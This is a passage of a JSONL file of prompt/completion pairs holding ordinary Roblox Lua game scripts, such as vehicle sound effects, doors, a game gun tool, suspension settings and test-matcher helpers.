effectsFolder:FindFirstChild(\"EngineStop\")\n\tif stopSound then\n\t\tself.stopSound = stopSound:Clone()\n\t\tself.stopSound.Parent = chassis.PrimaryPart\n\tend\n\n\tlocal accelerateSound = effectsFolder:FindFirstChild(\"Accelerate\")\n\tif accelerateSound then\n\t\tself.accelerateSoundVolume = accelerateSound.Volume\n\t\tself.accelerateSoundWeight = 0\n\t\tself.accelerateSound = accelerateSound:Clone()\n\t\tself.accelerateSound.Parent = chassis.PrimaryPart\n\tend\n\tself.engineSoundWeight = 1\n\n\tself.igniting = false\n\tself.throttle = 0\n\tself.slideSpeed = 0\n\tself.disableTime = 0\n\tself.active = false\n\n\treturn self\nend\n\nfunction Effects:Enable()\n\tself.active = true\n\tif #self.wheels > 0 then\n\t\tself.disableTime = 0\n\t\tif self.heartbeatConn then\n\t\t\tself.heartbeatConn:Disconnect()\n\t\tend\n\t\tself.heartbeatConn = RunService.Heartbeat:Connect(function(dt)\n\t\t\tself:OnHeartbeat(dt)\n\t\tend)\n\n\t\tif self.ignitionSound and not self.igniting then\n\t\t\tself.igniting = true\n\t\t\tcoroutine.wrap(function()\n\t\t\t\tif EngineSoundEnabled then\n\t\t\t\t\tself.ignitionSound.Volume = self.ignitionMaxVolume\n\t\t\t\t\tself.ignitionSound:Play()\n\t\t\t\t\trepeat\n\t\t\t\t\t\tRunService.Stepped:Wait()\n\t\t\t\t\tuntil not (self.igniting and self.ignitionSound.IsPlaying)\n\t\t\t\tend\n\t\t\t\tself.igniting = false\n\t\t\tend)()\n\t\tend\n\n\t\tfor i = 1, #audio do\n\t\t\taudio[i].Sound:Play()\n\t\tend\n\tend\nend\n\nfunction Effects:DisableInternal()\n\tself.active = false\n\tif self.heartbeatConn then\n\t\tself.heartbeatConn:Disconnect()\n\tend\n\tself.heartbeatConn = nil\n\n\t-- Disable sounds\n\tfor i = 1, #audio do\n\t\tif audio[i].Sound then\n\t\t\taudio[i].Sound:Stop()\n\t\tend\n\tend\n\n\tif self.stopSound then self.stopSound:Play() end\n\n\tif #self.wheels > 0 then\n\t\tfor _,wheelData in ipairs(self.wheels) do\n\t\t\twheelData.trail.Enabled = false\n\t\tend\n\tend\n\n\tself.disableTime = 0\nend\n\nfunction Effects:Disable()\n\t-- Request effects to be disabled soon (upon driver exiting vehicle)\n\tif self.disableTime == 0 then\n\t\tself.disableTime = tick() + EFFECTS_GRACE_PERIOD\n\tend\nend\n\nfunction Effects:SetThrottleEnabled(toggle, gainMod)\n\tif not EngineSoundEnabled then return end\n\n\t-- sets whether RPM is building up or not for the engine. Not possible (as of yet) to have this correlate with actual torque put out by the wheel motors as the torque is not exposed (only the target torque)\n\t-- must be called from the client, as input data isn't replicated elsewhere.\n\n\tgainMod = gainMod or 1\n\tgainModifier = gainMod\n\n\tif RunService:IsClient() then\n\t\t-- keep track of throttle state as to not spam the server with events\n\t\tif toggle ~= throttleEnabled or tick()-lastThrottleUpdate > 1/THROTTLE_UPDATE_RATE then\n\t\t\tlastThrottleUpdate = tick()\n\t\t\tSetThrottleRemote:FireServer(toggle, gainMod)\n\t\t\tthrottleEnabled = toggle\n\t\tend\t\n\telse\n\t\tif self.active then\n\t\t\tthrottleEnabled = toggle\n\t\telse\n\t\t\tthrottleEnabled = false\n\t\tend\n\tend\nend\n\nfunction Effects:OnHeartbeat(dt)\n\tif self.ignore.Parent == nil then\n\t\treturn\n\tend\n\n\tif self.disableTime > 0 and tick() > self.disableTime then\n\t\tself:DisableInternal()\n\t\treturn\n\tend\n\n\tlocal hasGroundContact = true -- assume ground contact \n\n\tif TireTrailEnabled then\n\t\tfor _, wheelData in ipairs(self.wheels) do\n\n\t\t\tlocal wheel = wheelData.wheel\n\t\t\tlocal madeContact = false\n\t\t\t-- This 'sort-of' calculates whether the wheel is grounded.\n\t\t\tfor _, basePart in ipairs(wheel:GetTouchingParts()) do\n\t\t\t\tif not basePart:IsDescendantOf(self.ignore) then\n\t\t\t\t\twheelData.lastContact = tick()\n\t\t\t\t\tmadeContact = true\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\n\t\t\thasGroundContact = madeContact\n\n\t\t\tif tick() - wheelData.lastContact <= SLIDE_DEBOUNCE then\n\n\t\t\t\tlocal radius = wheel.Size.Y / 2\n\t\t\t\tlocal width = wheel.Size.X / 2\n\n\t\t\t\tlocal wheelLeftCFrame = wheel.CFrame * CFrame.new(width, 0, 0) - Vector3.new(0, radius - SLIDE_MARK_OFFSET, 0)\n\t\t\t\tlocal wheelRightCFrame = wheel.CFrame * CFrame.new(-width, 0, 0) - Vector3.new(0, radius - SLIDE_MARK_OFFSET, 0)\n\n\t\t\t\twheelData.attRight.WorldPosition = wheelRightCFrame.p\n\t\t\t\twheelData.attLeft.WorldPosition = wheelLeftCFrame.p\n\n\t\t\t\t-- RotationalVelocity: Speed at the edge of the wheel from it rotating\n\t\t\t\t-- HorizontalVelocity: Speed the wheel is actually moving at\n\t\t\t\t-- SlideSpeed: The speed at which the wheel is sliding relative to its rotational velocity\n\t\t\t\tlocal rotationalVelocity = radius * (self.base.CFrame:VectorToObjectSpace(wheel.RotVelocity)).X\n\t\t\t\tlocal horizontalVelocity = self.base.CFrame:VectorToObjectSpace(wheel.Velocity).Z\n\t\t\t\tlocal slideSpeed = math.abs(rotationalVelocity - horizontalVelocity)\n\n\t\t\t\tlocal slipValue = slideSpeed / math.abs(rotationalVelocity)\n\t\t\t\tlocal sliding = slipValue >= SLIDE_THRESHOLD\n\n\t\t\t\twheelData.trail.Enabled = sliding\n\n\t\t\telse\n\t\t\t\twheelData.trail.Enabled = false\n\t\t\tend\n\n\t\tend\n\tend\n\n\t--Engine Sounds\n\tif EngineSoundEnabled then\n\t\tlocal constraints = self.ignore.Constraints:GetChildren()\n\t\tlocal main = self.ignore.PrimaryPart\n\t\tif not main then return end -- car probably fell off the map\n\n\t\tlocal function getAvgAngularSpeed() \n\t\t\t-- use the average angular speed of the wheels to guess how much torque is being generated by the engine\n\t\t\t-- note: cannot get actual motor torque as a limitation of the roblox engine, thus this can't be completely accurate\n\t\t\t-- when car is going uphill, there will be a noticeable difference.\n\t\t\tlocal total = 0\n\t\t\tlocal wheels = 0\n\t\t\tfor i = 1, #constraints do\n\t\t\t\tif main then\n\t\t\t\t\tif constraints[i]:IsA(\"CylindricalConstraint\") then\n\t\t\t\t\t\t-- use X axis rotational speed because rotational velocity is measured perpendicular to its linear axis\n\t\t\t\t\t\tlocal forwardRotationalSpeed = math.abs(main.CFrame:vectorToObjectSpace(constraints[i].Attachment1.Parent.RotVelocity).X)\n\t\t\t\t\t\twheels = wheels+1\n\t\t\t\t\t\ttotal = total+forwardRotationalSpeed\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn total/wheels\n\t\tend\n\n\t\tif throttleEnabled and self.igniting then\n\t\t\tself.igniting = false\n\t\t\t-- quiet ignition sound so we can hear acceleration\n\t\t\tif self.ignitionSound then\n\t\t\t\tlocal tween = TweenService:Create(self.ignitionSound, engineStartTween, {Volume = 1})\n\t\t\t\ttween:Play()\n\t\t\tend\n\t\tend\n\n\t\t-- try to figure out a good weight for accleration sound\n\t\tlocal weight = 1\n\t\tif throttleEnabled then\n\t\t\t--print(\"enginePower\", enginePower)\n\t\t\tif enginePower <= BASE_RPM+100 then\n\t\t\t\tif not self.accelerateSound.Playing then\n\t\t\t\t\t-- TODO: Determine why/how this is getting stuck on :RS \n\t\t\t\t\t--self.accelerateSound:Play()\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif self.accelerateSound.Playing then\n\t\t\t\tlocal baseThreshold = BASE_RPM+400\n\t\t\t\tlocal blendThreshold = BASE_RPM+600\n\n\t\t\t\tif enginePower <= baseThreshold then\n\t\t\t\t\tweight = 0\n\t\t\t\t\tself.accelerateSoundWeight = 1\n\t\t\t\telseif enginePower <= blendThreshold then -- blend engine with accleration\n\t\t\t\t\tlocal dif = blendThreshold-enginePower\n\t\t\t\t\tlocal maxDif = blendThreshold-baseThreshold\n\t\t\t\t\tlocal blendPercentage = dif/maxDif\n\t\t\t\t\tweight = 1-blendPercentage\n\t\t\t\t\tself.accelerateSoundWeight = blendPercentage\n\t\t\t\t\t--print(weight, self.accelerateSoundWeight)\n\t\t\t\telse -- end sound\n\t\t\t\t\tself.accelerateSoundWeight = 0\n\t\t\t\t\tif self.accelerateSound.Playing then\n\t\t\t\t\t\tself.accelerateSound:Stop()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tself.accelerateSound.Volume = self.accelerateSoundVolume*self.accelerateSoundWeight\n\t\tself.engineSoundWeight = weight\n\n\t\tlocal targetAngularSpeed = math.abs(self.ignore.Constraints.MotorFL.AngularVelocity)\n\t\tlocal currentAngularSpeed = getAvgAngularSpeed()\n\n\t\tlocal forwardVector = main.CFrame.LookVector\n\t\tlocal forwardFlatVector = Vector3.new(forwardVector.x, 0, forwardVector.z)\n\t\tlocal elevationDot = forwardFlatVector:Dot(forwardVector)\n\t\tlocal elevationAngle = math.acos(math.clamp(elevationDot, -1, 1)) -- not sure how that went over 1\n\n\t\t-- add to the engine power by a factor of the sine of the elevation angle to make going uphill require more power\n\t\tlocal movingAgainstGravity = main.Velocity.Y > 0\n\t\tlocal gravityEffect = movingAgainstGravity and math.sin(2*math.min(elevationAngle,math.pi/4)) or 0\n\n\t\tlocal accelerating = throttleEnabled\n\n\t\tlocal maxDif = MAX_RPM-MAX_IDEAL_RPM\n\n\t\tlocal baseRPMFromThrottle = (accelerating and BASE_RPM+(BASE_RPM*math.min(currentAngularSpeed/MAX_SPEED,1.5) + gravityEffect*maxDif) or BASE_RPM) \n\t\tlocal maxRPM = math.clamp(MAX_IDEAL_RPM + gravityEffect*maxDif, MAX_IDEAL_RPM, MAX_RPM)\n\t\tlocal targetRPM = accelerating and baseRPMFromThrottle + gainModifier*(maxRPM-baseRPMFromThrottle) or baseRPMFromThrottle\n\n\t\tlocal dif = targetRPM-enginePower\n\n\t\tlocal inclineGainEffect = gravityEffect*ENGINE_GAIN_ACCEL*3\n\t\tlocal currentRPM = enginePower + dif*(accelerating and ENGINE_GAIN_ACCEL+inclineGainEffect or ENGINE_GAIN_DECCEL)*dt\n\t\tenginePower = math.clamp(currentRPM, math.min(BASE_RPM,maxRPM), maxRPM)\n\n\t\tfor i = 1, #audio do\n\n\t\t\tlocal audioInfo = audio[i]\n\t\t\tlocal sound = audioInfo.Sound\n\n\t\t\tlocal baseRPM, minRPM, maxRPM = audioInfo.RPM, audioInfo.MinRPM, audioInfo.MaxRPM\n\t\t\tlocal volume\n\n\t\t\tif currentRPM >= minRPM and currentRPM <= maxRPM then\n\t\t\t\tvolume = 1\n\t\t\telseif currentRPM < minRPM then\n\t\t\t\tvolume = 1 - ((minRPM - currentRPM) / (audioInfo.Crossover or RPM_CROSSOVER))\n\t\t\telse\n\t\t\t\tvolume = 1 - ((currentRPM - maxRPM) / (audioInfo.Crossover or RPM_CROSSOVER))\n\t\t\tend\n\t\t\tvolume = volume*self.engineSoundWeight\n\n\t\t\tlocal playbackSpeed = (currentRPM / baseRPM) * audioInfo.PitchModification\n\n\t\t\tsound.Volume = volume*audioInfo.Volume\n\t\t\tsound.PlaybackSpeed = playbackSpeed\n\t\tend\n\tend\nend\n\nreturn Effects\n"} +{"prompt": "--\telseif loca == 10 then\n--\t\tif sel == 1 then\n--\t\t\tlight(\"solar\")\n--\t\telseif sel == 2 then\n--\t\t\tlight(\"lunar\")\n--\t\telseif sel == 3 then\n--\t\t\tlight(\"aurora\")\n--\t\telseif sel == 4 then\n--\t\t\tlight(\"clarity\")\n--\t\telseif sel == 5 then\n--\t\t\thome()\n--\t\tend", "completion": "\n\tend\n\tnames()\n\twait()\n\thov(sel)\nend)\n\ninf.up.MouseButton1Click:connect(function()\n\tsel = math.max(sel-1,min)\n\tinf.Main.Select.Hover:TweenPosition(UDim2.new(0, 0, (sel/5)-.2, 0),\"InOut\",\"Quad\",.5,true)\n\thov(sel)\nend)\n\ninf.dn.MouseButton1Click:connect(function()\n\tsel = math.min(sel+1,max)\n\tinf.Main.Select.Hover:TweenPosition(UDim2.new(0, 0, (sel/5)-.2, 0),\"InOut\",\"Quad\",.5,true)\n\thov(sel)\nend)\n\ninf.Music.mg.Input.FocusLost:connect(function(t)\n\tif t == true then\n\t\tif loca == 6 then\n\t\t\tinf.Main.Background.Image = \"rbxassetid://\"..(inf.Music.mg.Input.Text)\n\t\t\twait()\n\t\t\tinf.Music.mg.Input.Text = \"ENTER ID\"\n\t\t\tinput(false)\n\t\tend\n\telse\n\t\tinf.Music.mg.Input.Text = \"ENTER ID\"\n\t\tinput(false)\n\tend\nend)\n"} +{"prompt": "-- Ajedi32", "completion": "\n\nspeed = 0.25\n\ndoor1 = script.Parent.SlidingDoor1\ndoor2 = script.Parent.SlidingDoor2\nopen = script.open\n\nfunction stateChanged()\n\tif open.Value then\n\t\tfor i=1,(door1.Size.z/speed) + 1 do\n\t\t\twait()\n\t\t\tdoor1.CFrame = door1.CFrame - (door1.CFrame.lookVector * speed)\n\t\t\tdoor2.CFrame = door2.CFrame - (door2.CFrame.lookVector * speed)\n\t\tend\n\telse\n\t\tfor i=1,(door1.Size.z/speed) + 1 do\n\t\t\twait()\n\t\t\tdoor1.CFrame = door1.CFrame + (door1.CFrame.lookVector * speed)\n\t\t\tdoor2.CFrame = door2.CFrame + (door2.CFrame.lookVector * speed)\n\t\tend\n\tend\nend\n\nopen.Changed:connect(stateChanged)\n"} +{"prompt": "--[[\n\tAssert that the expectation value is the given type.\n\n\texpect(5).to.be.a(\"number\")\n]]", "completion": "\nfunction Expectation:a(typeName)\n\tlocal result = (type(self.value) == typeName) == self.successCondition\n\n\tlocal message = formatMessage(self.successCondition,\n\t\t(\"Expected value of type %q, got value %q of type %s\"):format(\n\t\t\ttypeName,\n\t\t\ttostring(self.value),\n\t\t\ttype(self.value)\n\t\t),\n\t\t(\"Expected value not of type %q, got value %q of type %s\"):format(\n\t\t\ttypeName,\n\t\t\ttostring(self.value),\n\t\t\ttype(self.value)\n\t\t)\n\t)\n\n\tassertLevel(result, message, 3)\n\tself:_resetModifiers()\n\n\treturn self\nend\n"} +{"prompt": "--[[local gui = Instance.new(\"ScreenGui\")\nlocal bg = Instance.new(\"Frame\",gui)\nlocal bar = Instance.new(\"Frame\",bg)\nlocal bvl = Instance.new(\"ImageLabel\", bg)\nbvl.Name = \"Bevel\"\nbvl.BackgroundTransparency = 1\nbvl.Image = \"http://www.roblox.com/asset/?id=56852431\"\nbvl.Size = UDim2.new(1,0,1,0)\nbg.Name = \"Back\"\nbar.Name = \"Charge\"\nbar.BackgroundColor3 = Color3.new(200/255,0/255,0/255)\nbg.BackgroundColor3 = Color3.new(200/255,200/255,200/255)\nbg.Size = UDim2.new(0,10,0,-100)\nbg.Position = UDim2.new(0,5,0,500)\nbar.Size = UDim2.new(0,4,-1,0)\nbar.Position = UDim2.new(0,3,1,0)\n\nggui = gui:Clone()\nggui.Name = \"GunGui\"\nggui.Back.Charge.Size = UDim2.new(0,4,-(script.Charge.Value/100),0)]]", "completion": "\n\nGroupID = 9999\n\nfunction AntiGH(char1,char2)\nif GH then\nlocal plyr1 = game.Players:findFirstChild(char1.Name)\nlocal plyr2 = game.Players:findFirstChild(char2.Name)\nif plyr1 and plyr2 then\nif plyr1:IsInGroup(GroupID) and plyr2:IsInGroup(GroupID) then\nreturn false\nend\nend\nreturn true\nelseif not GH then\nreturn true\nend\nend\n\nMaxDist = 1000\n\nfunction RayCast(Start,End,Ignore)\nif WallShoot then\nray1 = Ray.new(Start, End.unit * 999.999)\nlocal Part1, TempPos = Workspace:FindPartOnRay(ray1,Ignore)\nray2 = Ray.new(TempPos, End.unit * 999.999)\nlocal Part2, EndPos = Workspace:FindPartOnRay(ray2,Part1)\nreturn Part1, Part2, EndPos\nelseif not WallShoot then\nray = Ray.new(Start, End.unit * 999.999)\nreturn Workspace:FindPartOnRay(ray,Ignore)\nend\nend\n\nfunction DmgPlr(Part)\nif Part ~= nil then\nlocal c = Instance.new(\"ObjectValue\")\nc.Name = \"creator\"\nc.Value = game.Players:findFirstChild(script.Parent.Parent.Name)\nlocal hum = Part.Parent:findFirstChild(\"Humanoid\")\nlocal hathum = Part.Parent.Parent:findFirstChild(\"Humanoid\")\nlocal hat = Part.Parent\nif hathum ~= nil and hat:IsA(\"Hat\") and AntiGH(hathum.Parent, script.Parent.Parent) then\nhathum:TakeDamage(Damage/1)\nPart.Parent = game.Workspace\nPart.CFrame = CFrame.new(Part.Position + Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)))\nhat:Remove()\nc.Parent = hathum\ngame.Debris:AddItem(c,1.5)\nelseif hum ~= nil and AntiGH(hum.Parent, script.Parent.Parent) then\nif Part.Name == \"Head\" then\nhum:TakeDamage(Damage*2)\nend\nhum:TakeDamage(Damage)\nc.Parent = hum\ngame.Debris:AddItem(c,1.5)\nend\nend\nend\n\nfunction onButton1Down(mouse)\nif script.Parent.Ammo.Value == 0 then\nelse\n\tif GunType == 0 then\n\t\tif (not enabled) then return end\n\t\tenabled = false\n\t\t\tLaserShoot(mouse)\n\t\t\tif Flash then\n\t\t\tscript.Parent.Barrel.Light.Light.Visible = true\n\t\t\tend\n\t\t\tscript.Parent.Ammo.Value = script.Parent.Ammo.Value - 1\n\t\t\twait(0.01)\n\t\t\tif Flash then\n\t\t\tscript.Parent.Barrel.Light.Light.Visible = false\n\t\t\tend\n\t\t\twait(1/SPS)\n\t\tenabled = true\n\telseif GunType == 1 then\n\t\tautomatichold = true\n\t\twhile automatichold == true and script.Parent.Ammo.Value ~= 0 do wait()\n\t\tif (not enabled) then return end\n\t\tif script.Parent.Parent:findFirstChild(\"Humanoid\").Health == 0 then script.Parent:Remove() end\n\t\tenabled = false\n\t\t\tLaserShoot(mouse)\n\t\t\tif Flash then\n\t\t\tscript.Parent.Barrel.Light.Light.Visible = true\n\t\t\tend\n\t\t\tscript.Parent.Ammo.Value = script.Parent.Ammo.Value - 1\n\t\t\twait(0.01)\n\t\t\tif Flash then\n\t\t\tscript.Parent.Barrel.Light.Light.Visible = false\n\t\t\tend\n\t\t\twait(1/SPS)\n\t\tenabled = true\n\t\tend\n\tend\nend\nend\n\n function LaserShoot(mouse)\n\thit = mouse.Hit.p\n\tlocal StartPos = script.Parent.Barrel.CFrame.p\n\tlocal rv = (StartPos-hit).magnitude/(Recoil * 20)\n\tlocal rcl = Vector3.new(math.random(-rv,rv),math.random(-rv,rv),math.random(-rv,rv))\n\taim = hit + rcl\n\tlocal P = Instance.new(\"Part\") \n\tP.Name = \"Bullet\" \n\tP.formFactor = 3\n\tP.BrickColor = BrickColor.new(BulletColor)\n\tP.Size = Vector3.new(1,1,1) \n\tP.Anchored = true \n\tP.CanCollide = false\n\tP.Transparency = 0.5\n\tP.Parent = script.Parent.Parent\n\tlocal m = Instance.new(\"CylinderMesh\")\n\tm.Name = \"Mesh\"\n\tm.Parent = P\n\tlocal c = Instance.new(\"ObjectValue\")\n\tc.Name = \"creator\"\n\tc.Value = game.Players:findFirstChild(script.Parent.Parent.Name)\n\t\tpewsound = script:FindFirstChild(\"Fire\")\n\t\tif pewsound then \n\t\tpewsound:Play()\n\t\tend --Brick created. Moving on to next part\n\tlocal SPos = script.Parent.Barrel.CFrame.p\n\tif WallShoot then\n\tlocal Part1, Part2, EndPos = RayCast(SPos, (aim-SPos).unit * 999, script.Parent.Parent)\n\tDmgPlr(Part1)\n\tDmgPlr(Part2)\n\tif Part1 and Part2 then\n\tlocal enddist = (EndPos-SPos).magnitude\n\tP.CFrame = CFrame.new(EndPos, SPos) * CFrame.new(0,0,-enddist/2) * CFrame.Angles(math.rad(90),0,0)\n\tm.Scale = Vector3.new(.04,enddist,.04)\n\telse\n\tP.CFrame = CFrame.new(EndPos, SPos) * CFrame.new(0,0,-MaxDist/2) * CFrame.Angles(math.rad(90),0,0)\n\tm.Scale = Vector3.new(.04,MaxDist,.04)\n\tend\n\telseif not WallShoot then\n\tlocal Part, Pos = RayCast(SPos, (aim-SPos).unit * 999, script.Parent.Parent)\n\tDmgPlr(Part)\n\tif Part then\n\tlocal dist = (Pos-SPos).magnitude\n\tP.CFrame = CFrame.new(Pos, SPos) * CFrame.new(0,0,-dist/2) * CFrame.Angles(math.rad(90),0,0)\n\tm.Scale = Vector3.new(.1,dist,.1)\n\telse\n\tP.CFrame = CFrame.new(Pos, SPos) * CFrame.new(0,0,-MaxDist/2) * CFrame.Angles(math.rad(90),0,0)\n\tm.Scale = Vector3.new(.1,MaxDist,.1)\n\tend\n\tend\n\tgame.Debris:AddItem(P,.1)\nend\n\nfunction onButton1Up(mouse)\nautomatichold = false\nend\n\nfunction onKeyDown(key, mouse)\n\n\n\nif key:lower() == \"r\" then\n\tif script.Parent.Ammo.Value ~= script.Parent.MaxAmmo.Value then\n\t\treloadsound = script:FindFirstChild(\"Reload\")\n\t\tif reloadsound then \n\t\treloadsound:Play()\n\t\tend\n\t\tenabled = false\n\t\tscript.Parent.VisibleB.Value = true\n\t\tscript.Parent.StringValue.Value = \"Reloading\"\n\t\trepeat script.Parent.StringValue.Value = \"Reloading\" wait(1.8) script.Parent.Ammo.Value = script.Parent.Ammo.Value + 3 script.Parent.StringValue.Value = \"Reloading\" until script.Parent.Ammo.Value >= script.Parent.MaxAmmo.Value\n\t\tscript.Parent.Ammo.Value = script.Parent.MaxAmmo.Value\n\t\twait(0.2)\n\t\tscript.Parent.VisibleB.Value = false\n\t\tenabled = true\n\tend\nend\n\nif key:lower() == \"m\" then\n\tif GunType == 0 then\n\tGunType = 0\n\tRecoil = 10\n\telse\n\tGunType = 1\n\tRecoil = 10\n\tend\nend\n\nend\n\t\t\nfunction onEquipped(mouse)\nequipped = true\n\n\tif mouse == nil then\n\t\tprint(\"Mouse not found\")\n\t\treturn \n\tend\n\tmouse.Icon = \"http://www.roblox.com/asset/?id=52812029\"\n\tmouse.Button1Down:connect(function() onButton1Down(mouse) end)\n\tmouse.Button1Up:connect(function() onButton1Up(mouse) end)\n\tmouse.KeyDown:connect(function(key) onKeyDown(key, mouse) end)\n\nend\n\nfunction onUnequipped(mouse)\nequipped = false\nautomatichold = false\n\n\nend\n\nscript.Parent.Equipped:connect(onEquipped)\nscript.Parent.Unequipped:connect(onUnequipped)\nwhile true do wait()\nif script.Parent.Ammo.Value == 0 then\n\t\tscript.Parent.VisibleB.Value = true\n\t\tscript.Parent.StringValue.Value = \"Reload\"\nend\nif GunType == 1 then\nscript.Parent.ModeText.Value = \"Auto\"\nelse\nscript.Parent.ModeText.Value = \"Semi\"\nend\nend\n\n"} +{"prompt": "--// Ammo Settings\t\t\t", "completion": "\n\tAmmo = 71;\n\tStoredAmmo = 71;\n\tMagCount = math.huge; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge;\n\tExplosiveAmmo = 0;\n\t"} +{"prompt": "-- teererererererphof\n--local player = game.Players:GetPlayerFromCharacter(script.Parent.Parent)\n--player.PlayerGui:FindFirstChild(\"Client_HurtS\").Blunt:FireClient(player)", "completion": "\n\nwait(7)\nscript.Parent.PlatformStand = false\nwait(0.5)\nscript:Destroy()\n"} +{"prompt": "--variables--", "completion": "\nlocal Rake = game.Workspace.The_Rake\n"} +{"prompt": "--[[position and movement]]", "completion": "--\nwhile wait() do\n\tlocal closestPlayer, smallestMagnitude = nil,math.huge\n\tfor _, player in pairs(game.Players:GetPlayers()) do\n\t\tlocal distance = player:DistanceFromCharacter(script.Parent.HumanoidRootPart.Position)\n\t\tif distance < smallestMagnitude then\n\t\t\tsmallestMagnitude = distance\n\t\t\tclosestPlayer = player\n\t\t\tif closestPlayer and closestPlayer.Character and closestPlayer.Character:FindFirstChild(\"HumanoidRootPart\") then\n\t\t\t\tscript.Parent.BenHumanoid:MoveTo(closestPlayer.Character.HumanoidRootPart.Position)\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "-----------------------------------------------------------------------------------------------", "completion": "\n\nItemID = 90423800 -- The ID of the Gamepass/T-Shirt.\nOpenTime = 0 -- The time the door is open for.\nOpenTrans = 1 -- The transparency of the door when it is open.\nCloseTrans = 1 -- The transparency of the door when it is closed.\nBuyGUI = true -- Set to false to stop the BuyGUI appearing.\nKillOnTouch = false -- Set to false to stop players being killed when they touch it.\n"} +{"prompt": "--[[Susupension]]", "completion": "\n\tTune.SusEnabled\t\t= true\t\t-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled\n\t\n\t--Front Suspension\n\tTune.FSusDamping\t= 500\t\t-- Spring Dampening\n\tTune.FSusStiffness\t= 9000\t\t-- Spring Force\n\tTune.FAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\t\n\tTune.FSusLength\t\t= 2\t\t\t-- Suspension length (in studs)\n\tTune.FPreCompress\t= .3\t\t-- Pre-compression adds resting length force\n\tTune.FExtensionLim\t= .3\t\t-- Max Extension Travel (in studs)\n\tTune.FCompressLim\t= .1\t\t-- Max Compression Travel (in studs)\n\tTune.FSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.FWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.FWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.FAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\t\n\t--Rear Suspension\n\tTune.RSusDamping\t= 500\t\t-- Spring Dampening\n\tTune.RSusStiffness\t= 9000\t\t-- Spring Force\n\tTune.FAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\n\tTune.RSusLength\t\t= 2\t\t\t-- Suspension length (in studs)\n\tTune.RPreCompress\t= .3\t\t-- Pre-compression adds resting length force\n\tTune.RExtensionLim\t= .3\t\t-- Max Extension Travel (in studs)\n\tTune.RCompressLim\t= .1\t\t-- Max Compression Travel (in studs)\n\tTune.RSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.RWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.RWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.RAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\n\t--Aesthetics\t\n\tTune.SusVisible\t\t= true\t\t\t-- Spring Visible\n\tTune.WsBVisible\t\t= false\t\t\t-- Wishbone Visible\n\tTune.SusRadius\t\t= .2\t\t\t-- Suspension Coil Radius\n\tTune.SusThickness\t= .1\t\t\t-- Suspension Coil Thickness\n\tTune.SusColor\t\t= \"Black\"\t-- Suspension Color [BrickColor]\n\tTune.SusCoilCount\t= 6\t\t\t\t-- Suspension Coil Count\n\tTune.WsColor\t\t= \"Black\"\t\t-- Wishbone Color [BrickColor]\n\tTune.WsThickness\t= .1\t\t\t-- Wishbone Rod Thickness\n\t"} +{"prompt": "-- local emptyObject = require(CurrentModule.utils).emptyObject", "completion": "\n\nlocal utils = Object.freeze(Object.assign({}, matcherUtils, {\n\titerableEquality = iterableEquality,\n\tsubsetEquality = subsetEquality,\n}))\n\nlocal AsymmetricMatcher = {}\nAsymmetricMatcher.__index = AsymmetricMatcher\nfunction AsymmetricMatcher.new(sample: any, inverse: boolean?)\n\tlocal self = {\n\t\tsample = sample,\n\t\tinverse = if inverse == nil then false else inverse,\n\t\t[\"$$typeof\"] = Symbol.for_(\"jest.asymmetricMatcher\"),\n\t}\n\n\tsetmetatable(self, AsymmetricMatcher)\n\treturn self\nend\n\ntype State_ = MatcherState\nfunction AsymmetricMatcher:getMatcherContext(): State_\n\treturn Object.assign({}, getState(), {\n\t\tequals = equals,\n\t\tisNot = self.inverse,\n\t\tutils = utils,\n\t})\nend\n"} +{"prompt": "--", "completion": "\n\nif Util.isPlayerBot(localPlayer) then\n\tprint(\"Configuring player as bot\")\nend\n\nrequire(script.Parent:WaitForChild(\"PlayerModule\"):WaitForChild(\"ControlModule\"))\n\nlocal PlayerBehaviorManager = require(ReplicatedStorage.PlayerBehaviorManager)\nPlayerBehaviorManager.init()\n\nlocal DamageHandler = require(ReplicatedStorage.DamageHandler)\nDamageHandler.setup()\n\nrequire(ReplicatedStorage.Libraries.BTDebugger)\n"} +{"prompt": "--unfreeze the character", "completion": "\nfor i = 1, #iceParts do\n\tlocal C = iceParts[i]:GetChildren()\n for ii = 1, #C do\n if C[ii].className == \"Weld\" then\n C[ii]:Destroy()\n end\n end\n\tlocal dir = (iceParts[i].Position - iceParts[i].CFrame.p + Vector3.new(0, 1, 0)).unit\n\ticeParts[i].Velocity = (dir + Vector3.new(math.random() - 0.5, 1, math.random() - 0.5)) * 20\n\ticeParts[i].RotVelocity = (dir + Vector3.new(math.random() - 0.5, math.random() - 0.5, math.random() - 0.5)) * 10\n\tlocal force = Instance.new(\"BodyForce\")\n\tforce.Force = dir * 50 * iceParts[i]:GetMass()\n\tforce.Parent = iceParts[i]\n\ttask.delay(0.25, function() force:Destroy() end)\nend\n\nfor i, v in pairs(welds) do\n\tif v then\n\t\tv:Destroy()\n\tend\nend\n\nEnableMove()\n\nIceShatter = Instance.new(\"Sound\")\nIceShatter.Name = \"IceShatter\"\nIceShatter.SoundId = \"rbxassetid://\"..shatterSounds[math.random(1, 